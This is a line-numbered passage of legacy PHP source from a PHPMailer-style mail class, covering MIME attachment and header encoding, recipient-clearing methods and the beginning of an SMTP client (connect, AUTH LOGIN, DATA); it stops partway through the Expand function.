4488 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
4489
4490 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
4491
4492 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
4493
4494
4495
4496 if($disposition == "inline")
4497
4498 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
4499
4500
4501
4502 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s",
4503
4504 $disposition, $name, $this->LE.$this->LE);
4505
4506
4507
4508 // Encode as string attachment
4509
4510 if($bString)
4511
4512 {
4513
4514 $mime[] = $this->EncodeString($string, $encoding);
4515
4516 if($this->IsError()) { return ""; }
4517
4518 $mime[] = $this->LE.$this->LE;
4519
4520 }
4521
4522 else
4523
4524 {
4525
4526 $mime[] = $this->EncodeFile($path, $encoding);
4527
4528 if($this->IsError()) { return ""; }
4529
4530 $mime[] = $this->LE.$this->LE;
4531
4532 }
4533
4534 }
4535
4536
4537
4538 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
4539
4540
4541
4542 return join("", $mime);
4543
4544 }
4545
4546
4547
4548 /**
4549
4550 * Encodes attachment in requested format. Returns an
4551
4552 * empty string on failure.
4553
4554 * @access private
4555
4556 * @return string
4557
4558 */
4559
4560 function EncodeFile ($path, $encoding = "base64") {
4561
4562 if(!@$fd = fopen($path, "rb"))
4563
4564 {
4565
4566 $this->SetError($this->Lang("file_open") . $path);
4567
4568 return "";
4569
4570 }
4571
4572 $magic_quotes = get_magic_quotes_runtime();
4573
4574 set_magic_quotes_runtime(0);
4575
4576 $file_buffer = fread($fd, filesize($path));
4577
4578 $file_buffer = $this->EncodeString($file_buffer, $encoding);
4579
4580 fclose($fd);
4581
4582 set_magic_quotes_runtime($magic_quotes);
4583
4584
4585
4586 return $file_buffer;
4587
4588 }
4589
4590
4591
4592 /**
4593
4594 * Encodes string to requested format. Returns an
4595
4596 * empty string on failure.
4597
4598 * @access private
4599
4600 * @return string
4601
4602 */
4603
4604 function EncodeString ($str, $encoding = "base64") {
4605
4606 $encoded = "";
4607
4608 switch(strtolower($encoding)) {
4609
4610 case "base64":
4611
4612 // chunk_split is found in PHP >= 3.0.6
4613
4614 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
4615
4616 break;
4617
4618 case "7bit":
4619
4620
4621
4622
4623
4624 case "8bit":
4625
4626 $encoded = $this->FixEOL($str);
4627
4628 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
4629
4630 $encoded .= $this->LE;
4631
4632 break;
4633
4634 case "binary":
4635
4636 $encoded = $str;
4637
4638 break;
4639
4640 case "quoted-printable":
4641
4642 $encoded = $this->EncodeQP($str);
4643
4644 break;
4645
4646 default:
4647
4648 $this->SetError($this->Lang("encoding") . $encoding);
4649
4650 break;
4651
4652 }
4653
4654 return $encoded;
4655
4656 }
4657
4658
4659
4660 /**
4661
4662 * Encode a header string to best of Q, B, quoted or none.
4663
4664 * @access private
4665
4666 * @return string
4667
4668 */
4669
4670 function EncodeHeader ($str, $position = 'text') {
4671
4672 $x = 0;
4673
4674
4675
4676 switch (strtolower($position)) {
4677
4678 case 'phrase':
4679
4680 if (!preg_match('/[\200-\377]/', $str)) {
4681
4682 // Can't use addslashes as we don't know what value has magic_quotes_sybase.
4683
4684 $encoded = addcslashes($str, "\0..\37\177\\\"");
4685
4686
4687
4688 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str))
4689
4690 return ($encoded);
4691
4692 else
4693
4694 return ("\"$encoded\"");
4695
4696 }
4697
4698 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
4699
4700 break;
4701
4702 case 'comment':
4703
4704 $x = preg_match_all('/[()"]/', $str, $matches);
4705
4706 // Fall-through
4707
4708 case 'text':
4709
4710 default:
4711
4712 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
4713
4714 break;
4715
4716 }
4717
4718
4719
4720 if ($x == 0)
4721
4722 return ($str);
4723
4724
4725
4726 $maxlen = 75 - 7 - strlen($this->CharSet);
4727
4728 // Try to select the encoding which should produce the shortest output
4729
4730 if (strlen($str)/3 < $x) {
4731
4732 $encoding = 'B';
4733
4734 $encoded = base64_encode($str);
4735
4736 $maxlen -= $maxlen % 4;
4737
4738 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
4739
4740 } else {
4741
4742 $encoding = 'Q';
4743
4744 $encoded = $this->EncodeQ($str, $position);
4745
4746 $encoded = $this->WrapText($encoded, $maxlen, true);
4747
4748 $encoded = str_replace("=".$this->LE, "\n", trim($encoded));
4749
4750 }
4751
4752
4753
4754 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
4755
4756 $encoded = trim(str_replace("\n", $this->LE, $encoded));
4757
4758
4759
4760 return $encoded;
4761
4762 }
4763
4764
4765
4766 /**
4767
4768 * Encode string to quoted-printable.
4769
4770 * @access private
4771
4772 * @return string
4773
4774 */
4775
4776 function EncodeQP ($str) {
4777
4778 $encoded = $this->FixEOL($str);
4779
4780 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
4781
4782 $encoded .= $this->LE;
4783
4784
4785
4786 // Replace every high ascii, control and = characters
4787
4788 $encoded = preg_replace('/([\000-\010\013\014\016-\037\075\177-\377])/e',
4789
4790 "'='.sprintf('%02X', ord('\\1'))", $encoded);
4791
4792 // Replace every spaces and tabs when it's the last character on a line
4793
4794 $encoded = preg_replace("/([\011\040])".$this->LE."/e",
4795
4796 "'='.sprintf('%02X', ord('\\1')).'".$this->LE."'", $encoded);
4797
4798
4799
4800 // Maximum line length of 76 characters before CRLF (74 + space + '=')
4801
4802 $encoded = $this->WrapText($encoded, 74, true);
4803
4804
4805
4806 return $encoded;
4807
4808 }
4809
4810
4811
4812 /**
4813
4814 * Encode string to q encoding.
4815
4816 * @access private
4817
4818 * @return string
4819
4820 */
4821
4822 function EncodeQ ($str, $position = "text") {
4823
4824 // There should not be any EOL in the string
4825
4826 $encoded = preg_replace("[\r\n]", "", $str);
4827
4828
4829
4830 switch (strtolower($position)) {
4831
4832 case "phrase":
4833
4834 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
4835
4836 break;
4837
4838 case "comment":
4839
4840 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
4841
4842 case "text":
4843
4844 default:
4845
4846 // Replace every high ascii, control =, ? and _ characters
4847
4848 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
4849
4850 "'='.sprintf('%02X', ord('\\1'))", $encoded);
4851
4852 break;
4853
4854 }
4855
4856
4857
4858 // Replace every spaces to _ (more readable than =20)
4859
4860 $encoded = str_replace(" ", "_", $encoded);
4861
4862
4863
4864 return $encoded;
4865
4866 }
4867
4868
4869
4870 /**
4871
4872 * Adds a string or binary attachment (non-filesystem) to the list.
4873
4874 * This method can be used to attach ascii or binary data,
4875
4876 * such as a BLOB record from a database.
4877
4878 * @param string $string String attachment data.
4879
4880 * @param string $filename Name of the attachment.
4881
4882 * @param string $encoding File encoding (see $Encoding).
4883
4884 * @param string $type File extension (MIME) type.
4885
4886 * @return void
4887
4888 */
4889
4890 function AddStringAttachment($string, $filename, $encoding = "base64",
4891
4892 $type = "application/octet-stream") {
4893
4894 // Append to $attachment array
4895
4896 $cur = count($this->attachment);
4897
4898 $this->attachment[$cur][0] = $string;
4899
4900 $this->attachment[$cur][1] = $filename;
4901
4902 $this->attachment[$cur][2] = $filename;
4903
4904 $this->attachment[$cur][3] = $encoding;
4905
4906 $this->attachment[$cur][4] = $type;
4907
4908 $this->attachment[$cur][5] = true; // isString
4909
4910 $this->attachment[$cur][6] = "attachment";
4911
4912 $this->attachment[$cur][7] = 0;
4913
4914 }
4915
4916
4917
4918 /**
4919
4920 * Adds an embedded attachment. This can include images, sounds, and
4921
4922 * just about any other document. Make sure to set the $type to an
4923
4924 * image type. For JPEG images use "image/jpeg" and for GIF images
4925
4926 * use "image/gif".
4927
4928 * @param string $path Path to the attachment.
4929
4930 * @param string $cid Content ID of the attachment. Use this to identify
4931
4932 * the Id for accessing the image in an HTML form.
4933
4934 * @param string $name Overrides the attachment name.
4935
4936 * @param string $encoding File encoding (see $Encoding).
4937
4938 * @param string $type File extension (MIME) type.
4939
4940 * @return bool
4941
4942 */
4943
4944 function AddEmbeddedImage($path, $cid, $name = "", $encoding = "base64",
4945
4946 $type = "application/octet-stream") {
4947
4948
4949
4950 if(!@is_file($path))
4951
4952 {
4953
4954 $this->SetError($this->Lang("file_access") . $path);
4955
4956 return false;
4957
4958 }
4959
4960
4961
4962 $filename = basename($path);
4963
4964 if($name == "")
4965
4966 $name = $filename;
4967
4968
4969
4970 // Append to $attachment array
4971
4972 $cur = count($this->attachment);
4973
4974 $this->attachment[$cur][0] = $path;
4975
4976 $this->attachment[$cur][1] = $filename;
4977
4978 $this->attachment[$cur][2] = $name;
4979
4980 $this->attachment[$cur][3] = $encoding;
4981
4982 $this->attachment[$cur][4] = $type;
4983
4984 $this->attachment[$cur][5] = false; // isStringAttachment
4985
4986 $this->attachment[$cur][6] = "inline";
4987
4988 $this->attachment[$cur][7] = $cid;
4989
4990
4991
4992 return true;
4993
4994 }
4995
4996
4997
4998 /**
4999
5000 * Returns true if an inline attachment is present.
5001
5002 * @access private
5003
5004 * @return bool
5005
5006 */
5007
5008 function InlineImageExists() {
5009
5010 $result = false;
5011
5012 for($i = 0; $i < count($this->attachment); $i++)
5013
5014 {
5015
5016 if($this->attachment[$i][6] == "inline")
5017
5018 {
5019
5020 $result = true;
5021
5022 break;
5023
5024 }
5025
5026 }
5027
5028
5029
5030 return $result;
5031
5032
5033
5034 }
5035
5036
5037
5038 /////////////////////////////////////////////////
5039
5040 // MESSAGE RESET METHODS
5041
5042 /////////////////////////////////////////////////
5043
5044
5045
5046 /**
5047
5048 * Clears all recipients assigned in the TO array. Returns void.
5049
5050 * @return void
5051
5052 */
5053
5054 function ClearAddresses() {
5055
5056 $this->to = array();
5057
5058 }
5059
5060
5061
5062 /**
5063
5064 * Clears all recipients assigned in the CC array. Returns void.
5065
5066 * @return void
5067
5068 */
5069
5070 function ClearCCs() {
5071
5072 $this->cc = array();
5073
5074 }
5075
5076
5077
5078 /**
5079
5080 * Clears all recipients assigned in the BCC array. Returns void.
5081
5082 * @return void
5083
5084 */
5085
5086 function ClearBCCs() {
5087
5088 $this->bcc = array();
5089
5090 }
5091
5092
5093
5094 /**
5095
5096 * Clears all recipients assigned in the ReplyTo array. Returns void.
5097
5098 * @return void
5099
5100 */
5101
5102 function ClearReplyTos() {
5103
5104 $this->ReplyTo = array();
5105
5106 }
5107
5108
5109
5110 /**
5111
5112 * Clears all recipients assigned in the TO, CC and BCC
5113
5114 * array. Returns void.
5115
5116 * @return void
5117
5118 */
5119
5120 function ClearAllRecipients() {
5121
5122 $this->to = array();
5123
5124 $this->cc = array();
5125
5126
5127 $this->bcc = array();
5128
5129 }
5130
5131
5132
5133 /**
5134
5135 * Clears all previously set filesystem, string, and binary
5136
5137 * attachments. Returns void.
5138
5139 * @return void
5140
5141 */
5142
5143 function ClearAttachments() {
5144
5145 $this->attachment = array();
5146
5147 }
5148
5149
5150
5151 /**
5152
5153 * Clears all custom headers. Returns void.
5154
5155 * @return void
5156
5157 */
5158
5159 function ClearCustomHeaders() {
5160
5161 $this->CustomHeader = array();
5162
5163 }
5164
5165
5166
5167
5168
5169 /////////////////////////////////////////////////
5170
5171 // MISCELLANEOUS METHODS
5172
5173 /////////////////////////////////////////////////
5174
5175
5176
5177 /**
5178
5179 * Adds the error message to the error container.
5180
5181 * Returns void.
5182
5183 * @access private
5184
5185 * @return void
5186
5187 */
5188
5189 function SetError($msg) {
5190
5191 $this->error_count++;
5192
5193 $this->ErrorInfo = $msg;
5194
5195 }
5196
5197
5198
5199 /**
5200
5201 * Returns the proper RFC 822 formatted date.
5202
5203 * @access private
5204
5205 * @return string
5206
5207 */
5208
5209 function RFCDate() {
5210
5211 $tz = date("Z");
5212
5213 $tzs = ($tz < 0) ? "-" : "+";
5214
5215 $tz = abs($tz);
5216
5217 $tz = ($tz/3600)*100 + ($tz%3600)/60;
5218
5219 $result = sprintf("%s %s%04d", date("D, j M Y H:i:s"), $tzs, $tz);
5220
5221
5222
5223 return $result;
5224
5225 }
5226
5227
5228
5229 /**
5230
5231 * Returns the appropriate server variable. Should work with both
5232
5233 * PHP 4.1.0+ as well as older versions. Returns an empty string
5234
5235 * if nothing is found.
5236
5237 * @access private
5238
5239 * @return mixed
5240
5241 */
5242
5243 function ServerVar($varName) {
5244
5245 global $HTTP_SERVER_VARS;
5246
5247 global $HTTP_ENV_VARS;
5248
5249
5250
5251 if(!isset($_SERVER))
5252
5253 {
5254
5255 $_SERVER = $HTTP_SERVER_VARS;
5256
5257 if(!isset($_SERVER["REMOTE_ADDR"]))
5258
5259 $_SERVER = $HTTP_ENV_VARS; // must be Apache
5260
5261 }
5262
5263
5264
5265 if(isset($_SERVER[$varName]))
5266
5267 return $_SERVER[$varName];
5268
5269 else
5270
5271 return "";
5272
5273 }
5274
5275
5276
5277 /**
5278
5279 * Returns the server hostname or 'localhost.localdomain' if unknown.
5280
5281 * @access private
5282
5283 * @return string
5284
5285 */
5286
5287 function ServerHostname() {
5288
5289 if ($this->Hostname != "")
5290
5291 $result = $this->Hostname;
5292
5293 elseif ($this->ServerVar('SERVER_NAME') != "")
5294
5295 $result = $this->ServerVar('SERVER_NAME');
5296
5297 else
5298
5299 $result = "localhost.localdomain";
5300
5301
5302
5303 return $result;
5304
5305 }
5306
5307
5308
5309 /**
5310
5311 * Returns a message in the appropriate language.
5312
5313 * @access private
5314
5315 * @return string
5316
5317 */
5318
5319 function Lang($key) {
5320
5321 if(count($this->language) < 1)
5322
5323 $this->SetLanguage("en"); // set the default language
5324
5325
5326
5327 if(isset($this->language[$key]))
5328
5329 return $this->language[$key];
5330
5331 else
5332
5333 return "Language string failed to load: " . $key;
5334
5335 }
5336
5337
5338
5339 /**
5340
5341 * Returns true if an error occurred.
5342
5343 * @return bool
5344
5345 */
5346
5347 function IsError() {
5348
5349 return ($this->error_count > 0);
5350
5351 }
5352
5353
5354
5355 /**
5356
5357 * Changes every end of line from CR or LF to CRLF.
5358
5359 * @access private
5360
5361 * @return string
5362
5363 */
5364
5365 function FixEOL($str) {
5366
5367 $str = str_replace("\r\n", "\n", $str);
5368
5369 $str = str_replace("\r", "\n", $str);
5370
5371 $str = str_replace("\n", $this->LE, $str);
5372
5373 return $str;
5374
5375 }
5376
5377
5378
5379 /**
5380
5381 * Adds a custom header.
5382
5383 * @return void
5384
5385 */
5386
5387 function AddCustomHeader($custom_header)
5388
5389 {
5390
5391 //$this->CustomHeader[] = explode(":", $custom_header, 2);
5392
5393 $custom_header = explode(":", $custom_header, 2);
5394
5395 $this->CustomHeader[ trim($custom_header[0]) ] = trim($custom_header[1]);
5396
5397 }
5398
5399}
5400
5401
5402
5403/**
5404
5405 * SMTP is rfc 821 compliant and implements all the rfc 821 SMTP
5406
5407 * commands except TURN which will always return a not implemented
5408
5409 * error. SMTP also provides some utility methods for sending mail
5410
5411 * to an SMTP server.
5412
5413 * @package PHPMailer
5414
5415 * @author Chris Ryan
5416
5417 */
5418
5419class SMTP
5420
5421{
5422
5423 /**
5424
5425 * SMTP server port
5426
5427 * @var int
5428
5429 */
5430
5431 var $SMTP_PORT = 25;
5432
5433
5434
5435 /**
5436
5437 * SMTP reply line ending
5438
5439 * @var string
5440
5441 */
5442
5443 var $CRLF = "\r\n";
5444
5445
5446
5447 /**
5448
5449 * Sets whether debugging is turned on
5450
5451 * @var bool
5452
5453 */
5454
5455 var $do_debug = 0; # the level of debug to perform
5456
5457
5458
5459 /**#@+
5460
5461 * @access private
5462
5463 */
5464
5465 var $smtp_conn; # the socket to the server
5466
5467 var $error; # error if any on the last call
5468
5469 var $helo_rply; # the reply the server sent to us for HELO
5470
5471 var $smtp_buffer; # smtp buffer
5472
5473
5474
5475 var $smtpError = null;
5476
5477 var $smtpSendError = 0;
5478
5479 /**#@-*/
5480
5481
5482
5483 /**
5484
5485 * Initialize the class so that the data is in a known state.
5486
5487 * @access public
5488
5489 * @return void
5490
5491 */
5492
5493 function SMTP() {
5494
5495 $this->smtp_conn = 0;
5496
5497 $this->error = null;
5498
5499 $this->helo_rply = null;
5500
5501
5502
5503 $this->do_debug = 1;
5504
5505 }
5506
5507
5508
5509 /*************************************************************
5510
5511 * CONNECTION FUNCTIONS *
5512
5513 ***********************************************************/
5514
5515
5516
5517 /**
5518
5519 * Connect to the server specified on the port specified.
5520
5521 * If the port is not specified use the default SMTP_PORT.
5522
5523 * If tval is specified then a connection will try and be
5524
5525 * established with the server for that number of seconds.
5526
5527 * If tval is not specified the default is 30 seconds to
5528
5529 * try on the connection.
5530
5531 *
5532
5533 * SMTP CODE SUCCESS: 220
5534
5535 * SMTP CODE FAILURE: 421
5536
5537 * @access public
5538
5539 * @return bool
5540
5541 */
5542
5543 function Connect($host,$port=0,$tval=30) {
5544
5545 # set the error val to null so there is no confusion
5546
5547 $this->error = null;
5548
5549
5550
5551 # make sure we are __not__ connected
5552
5553 if($this->connected()) {
5554
5555 # ok we are connected! what should we do?
5556
5557 # for now we will just give an error saying we
5558
5559 # are already connected
5560
5561 $this->error =
5562
5563 array("error" => "Already connected to a server");
5564
5565 return false;
5566
5567 }
5568
5569
5570
5571 if(empty($port)) {
5572
5573 $port = $this->SMTP_PORT;
5574
5575 }
5576
5577
5578
5579 #connect to the smtp server
5580
5581 $this->smtp_conn = fsockopen($host, # the host of the server
5582
5583 $port, # the port to use
5584
5585 $errno, # error number if any
5586
5587 $errstr, # error message if any
5588
5589 $tval); # give up after ? secs
5590
5591 # verify we connected properly
5592
5593 if(empty($this->smtp_conn)) {
5594
5595 $this->error = array("error" => "Failed to connect to server",
5596
5597 "errno" => $errno,
5598
5599 "errstr" => $errstr);
5600
5601 if($this->do_debug >= 1) {
5602
5603 echo "SMTP -> ERROR: " . $this->error["error"] . ": $errstr ($errno)" . $this->CRLF;
5604
5605 }
5606
5607 DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": $errstr ($errno)" . $this->CRLF);
5608
5609 return false;
5610
5611 }
5612
5613
5614
5615 # sometimes the SMTP server takes a little longer to respond
5616
5617 # so we will give it a longer timeout for the first read
5618
5619 // Windows still does not have support for this timeout function
5620
5621 if(substr(PHP_OS, 0, 3) != "WIN")
5622
5623 socket_set_timeout($this->smtp_conn, $tval, 0);
5624
5625
5626
5627 # get any announcement stuff
5628
5629 $announce = $this->get_lines();
5630
5631
5632
5633 # set the timeout of any socket functions at 1/10 of a second
5634
5635 //if(function_exists("socket_set_timeout"))
5636
5637 // socket_set_timeout($this->smtp_conn, 0, 100000);
5638
5639
5640
5641 if($this->do_debug >= 2) {
5642
5643 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
5644
5645 }
5646
5647
5648
5649 return true;
5650
5651 }
5652
5653
5654
5655 /**
5656
5657 * Performs SMTP authentication. Must be run after running the
5658
5659 * Hello() method. Returns true if successfully authenticated.
5660
5661 * @access public
5662
5663 * @return bool
5664
5665 */
5666
5667 function Authenticate($username, $password) {
5668
5669 // Start authentication
5670
5671 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
5672
5673
5674
5675 $rply = $this->get_lines();
5676
5677 $code = substr($rply,0,3);
5678
5679
5680
5681 if($code != 334)
5682
5683 {
5684
5685 $this->error =
5686
5687 array("error" => "AUTH not accepted from server",
5688
5689 "smtp_code" => $code,
5690
5691 "smtp_msg" => substr($rply,4));
5692
5693 if($this->do_debug >= 1) {
5694
5695 echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
5696
5697 }
5698
5699 DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
5700
5701 $this->smtpError = "auth_auth";
5702
5703 return false;
5704
5705 }
5706
5707
5708
5709 // Send encoded username
5710
5711 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
5712
5713
5714
5715 $rply = $this->get_lines();
5716
5717 $code = substr($rply,0,3);
5718
5719
5720
5721 if($code != 334) {
5722
5723 $this->error =
5724
5725 array("error" => "Username not accepted from server",
5726
5727 "smtp_code" => $code,
5728
5729 "smtp_msg" => substr($rply,4));
5730
5731 if($this->do_debug >= 1) {
5732
5733 echo "SMTP -> ERROR: " . $this->error["error"] .
5734
5735 ": " . $rply . $this->CRLF;
5736
5737 }
5738
5739 DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
5740
5741 $this->smtpError = "auth_username";
5742
5743 return false;
5744
5745 }
5746
5747
5748
5749 // Send encoded password
5750
5751 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
5752
5753
5754
5755 $rply = $this->get_lines();
5756
5757 $code = substr($rply,0,3);
5758
5759
5760
5761 if($code != 235)
5762
5763 {
5764
5765 $this->error =
5766
5767 array("error" => "Password not accepted from server",
5768
5769 "smtp_code" => $code,
5770
5771 "smtp_msg" => substr($rply,4));
5772
5773 if($this->do_debug >= 1) {
5774
5775 echo "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF;
5776
5777 }
5778
5779 DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
5780
5781 $this->smtpError = "auth_password";
5782
5783 return false;
5784
5785 }
5786
5787
5788
5789 return true;
5790
5791 }
5792
5793
5794
5795 /**
5796
5797 * Returns true if connected to a server otherwise false
5798
5799 * @access private
5800
5801 * @return bool
5802
5803 */
5804
5805 function Connected() {
5806
5807 if(!empty($this->smtp_conn)) {
5808
5809 $sock_status = socket_get_status($this->smtp_conn);
5810
5811 if($sock_status["eof"]) {
5812
5813 # hmm this is an odd situation... the socket is
5814
5815 # valid but we aren't connected anymore
5816
5817 if($this->do_debug >= 1) {
5818
5819 echo "SMTP -> NOTICE:" . $this->CRLF .
5820
5821 "EOF caught while checking if connected";
5822
5823 }
5824
5825 //DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": $errstr ($errno)" . $this->CRLF);
5826
5827 $this->Close();
5828
5829 return false;
5830
5831 }
5832
5833 return true; # everything looks good
5834
5835 }
5836
5837 return false;
5838
5839 }
5840
5841
5842
5843 /**
5844
5845 * Closes the socket and cleans up the state of the class.
5846
5847 * It is not considered good to use this function without
5848
5849 * first trying to use QUIT.
5850
5851 * @access public
5852
5853 * @return void
5854
5855 */
5856
5857 function Close() {
5858
5859 $this->error = null; # so there is no confusion
5860
5861 $this->helo_rply = null;
5862
5863 $this->smtp_buffer = null;
5864
5865 if(!empty($this->smtp_conn)) {
5866
5867 # close the connection and cleanup
5868
5869 fclose($this->smtp_conn);
5870
5871 $this->smtp_conn = 0;
5872
5873 }
5874
5875 }
5876
5877
5878
5879
5880
5881 /***************************************************************
5882
5883 * SMTP COMMANDS *
5884
5885 *************************************************************/
5886
5887
5888
5889 /**
5890
5891 * Issues a data command and sends the msg_data to the server
5892
5893 * finializing the mail transaction. $msg_data is the message
5894
5895 * that is to be send with the headers. Each header needs to be
5896
5897 * on a single line followed by a <CRLF> with the message headers
5898
5899 * and the message body being seperated by and additional <CRLF>.
5900
5901 *
5902
5903 * Implements rfc 821: DATA <CRLF>
5904
5905 *
5906
5907 * SMTP CODE INTERMEDIATE: 354
5908
5909 * [data]
5910
5911 * <CRLF>.<CRLF>
5912
5913 * SMTP CODE SUCCESS: 250
5914
5915 * SMTP CODE FAILURE: 552,554,451,452
5916
5917 * SMTP CODE FAILURE: 451,554
5918
5919 * SMTP CODE ERROR : 500,501,503,421
5920
5921 * @access public
5922
5923 * @return bool
5924
5925 */
5926
5927 function Data($msg_data) {
5928
5929 $this->error = null; # so no confusion is caused
5930
5931
5932
5933 if(!$this->connected()) {
5934
5935 $this->error = array(
5936
5937 "error" => "Called Data() without being connected");
5938
5939 return false;
5940
5941 }
5942
5943
5944
5945 fputs($this->smtp_conn,"DATA" . $this->CRLF);
5946
5947
5948
5949 $rply = $this->get_lines();
5950
5951 $code = substr($rply,0,3);
5952
5953
5954
5955 if($this->do_debug >= 2) {
5956
5957 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
5958
5959 }
5960
5961
5962
5963 if($code != 354) {
5964
5965 $this->error =
5966
5967 array("error" => "DATA command not accepted from server",
5968
5969 "smtp_code" => $code,
5970
5971 "smtp_msg" => substr($rply,4));
5972
5973 if($this->do_debug >= 1) {
5974
5975 echo "SMTP -> ERROR: " . $this->error["error"] .
5976
5977 ": " . $rply . $this->CRLF;
5978
5979 }
5980
5981 DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
5982
5983 $this->smtpError = "data";
5984
5985 $this->smtpSendError++;
5986
5987 return false;
5988
5989 }
5990
5991
5992
5993 # the server is ready to accept data!
5994
5995 # according to rfc 821 we should not send more than 1000
5996
5997 # including the CRLF
5998
5999 # characters on a single line so we will break the data up
6000
6001 # into lines by \r and/or \n then if needed we will break
6002
6003 # each of those into smaller lines to fit within the limit.
6004
6005 # in addition we will be looking for lines that start with
6006
6007 # a period '.' and append and additional period '.' to that
6008
6009 # line. NOTE: this does not count towards are limit.
6010
6011
6012
6013 # normalize the line breaks so we know the explode works
6014
6015 $msg_data = str_replace("\r\n","\n",$msg_data);
6016
6017 $msg_data = str_replace("\r","\n",$msg_data);
6018
6019 $lines = explode("\n",$msg_data);
6020
6021
6022
6023 # we need to find a good way to determine is headers are
6024
6025 # in the msg_data or if it is a straight msg body
6026
6027 # currently I'm assuming rfc 822 definitions of msg headers
6028
6029 # and if the first field of the first line (':' sperated)
6030
6031 # does not contain a space then it _should_ be a header
6032
6033 # and we can process all lines before a blank "" line as
6034
6035 # headers.
6036
6037 $field = substr($lines[0],0,strpos($lines[0],":"));
6038
6039 $in_headers = false;
6040
6041 if(!empty($field) && !strstr($field," ")) {
6042
6043
6044
6045 $in_headers = true;
6046
6047 }
6048
6049
6050
6051 $max_line_length = 998; # used below; set here for ease in change
6052
6053
6054
6055 while(list(,$line) = @each($lines)) {
6056
6057 $lines_out = null;
6058
6059 if($line == "" && $in_headers) {
6060
6061 $in_headers = false;
6062
6063 }
6064
6065 # ok we need to break this line up into several
6066
6067 # smaller lines
6068
6069 while(strlen($line) > $max_line_length) {
6070
6071 $pos = strrpos(substr($line,0,$max_line_length)," ");
6072
6073
6074
6075 # Patch to fix DOS attack
6076
6077 if(!$pos) {
6078
6079 $pos = $max_line_length - 1;
6080
6081 }
6082
6083
6084
6085 $lines_out[] = substr($line,0,$pos);
6086
6087 $line = substr($line,$pos + 1);
6088
6089 # if we are processing headers we need to
6090
6091 # add a LWSP-char to the front of the new line
6092
6093 # rfc 822 on long msg headers
6094
6095 if($in_headers) {
6096
6097 $line = "\t" . $line;
6098
6099 }
6100
6101 }
6102
6103 $lines_out[] = $line;
6104
6105
6106
6107 # now send the lines to the server
6108
6109 while(list(,$line_out) = @each($lines_out)) {
6110
6111 if(strlen($line_out) > 0)
6112
6113 {
6114
6115 if(substr($line_out, 0, 1) == ".") {
6116
6117 $line_out = "." . $line_out;
6118
6119 }
6120
6121 }
6122
6123 fputs($this->smtp_conn,$line_out . $this->CRLF);
6124
6125 }
6126
6127 }
6128
6129
6130
6131 # ok all the message data has been sent so lets get this
6132
6133 # over with aleady
6134
6135 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
6136
6137
6138
6139 $rply = $this->get_lines();
6140
6141 $code = substr($rply,0,3);
6142
6143
6144
6145 if($this->do_debug >= 2) {
6146
6147 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
6148
6149 }
6150
6151
6152
6153 if($code != 250) {
6154
6155 $this->error =
6156
6157 array("error" => "DATA not accepted from server",
6158
6159 "smtp_code" => $code,
6160
6161 "smtp_msg" => substr($rply,4));
6162
6163 if($this->do_debug >= 1) {
6164
6165 echo "SMTP -> ERROR: " . $this->error["error"] .
6166
6167 ": " . $rply . $this->CRLF;
6168
6169 }
6170
6171 DebugData("add", "SMTP -> ERROR: " . $this->error["error"] . ": " . $rply . $this->CRLF);
6172
6173 $this->smtpError = "data";
6174
6175 $this->smtpSendError++;
6176
6177 return false;
6178
6179 }
6180
6181 return true;
6182
6183 }
6184
6185
6186
6187 /**
6188
6189 * Expand takes the name and asks the server to list all the
6190
6191 * people who are members of the _list_. Expand will return
6192
6193 * back and array of the result or false if an error occurs.
6194
6195 * Each value in the array returned has the format of:
6196
6197 * [ <full-name> <sp> ] <path>
6198
6199 * The definition of <path> is defined in rfc 821
6200
6201 *
6202
6203 * Implements rfc 821: EXPN <SP> <string> <CRLF>
6204
6205 *
6206
6207 * SMTP CODE SUCCESS: 250
6208
6209 * SMTP CODE FAILURE: 550
6210
6211 * SMTP CODE ERROR : 500,501,502,504,421
6212
6213 * @access public
6214
6215 * @return string array
6216
6217 */
6218
6219 function Expand($name) {
6220
6221 $this->error = null; # so no confusion is caused
6222
6223
6224
6225 if(!$this->connected()) {
6226
6227 $this->error = array(
6228
6229 "error" => "Called Expand() without being connected");
6230
6231 return false;
6232
6233 }
6234
6235
6236
6237 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
6238
6239
6240
6241 $rply = $this->get_lines();
6242
6243 $code = substr($rply,0,3);
6244
6245
6246
6247 if($this->do_debug >= 2) {
6248
6249 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
6250
6251 }
6252
6253
6254
6255 if($code != 250) {
